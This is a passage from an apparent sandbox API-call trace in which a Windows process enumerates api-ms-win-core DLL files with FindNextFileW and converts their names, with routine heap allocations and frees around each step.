ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.981] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.982] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0193.982] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xd3c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0193.982] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.982] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.982] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.982] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.982] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.982] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.982] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.982] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0193.982] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xd3c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0193.982] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.982] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.982] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.982] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.982] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.982] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.982] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.982] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0193.982] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0xd3c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0193.982] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.982] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.982] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.982] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.983] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.983] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.983] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.983] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0193.983] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0xd3c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0193.983] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.983] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.983] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.983] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.983] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.983] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.983] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.983] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0193.983] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xd3c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0193.983] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.983] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.983] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.983] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.983] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.983] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.983] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.983] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0193.983] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0xd3c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0193.983] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.983] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.983] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.983] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.983] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.983] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0193.984] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.984] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0193.984] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0xd3c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0193.984] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.984] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.984] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.984] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.984] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.984] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.984] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.984] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0193.984] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xd3c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0193.984] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.984] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.984] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.984] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.984] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.984] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.984] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.984] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0193.984] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xd3c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0193.984] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.984] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.984] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.984] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.984] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.984] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.984] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.984] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0193.984] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xd3c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0193.985] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.985] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.985] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.985] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.985] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.985] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.985] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.985] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0193.985] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xd3c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0193.985] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.985] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.985] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.985] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.985] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.985] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.985] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.985] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0193.985] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0xd3c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0193.985] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.985] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.985] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.985] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.985] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.985] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.985] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.985] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0193.985] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0xd3c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0193.985] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.985] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.986] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.986] 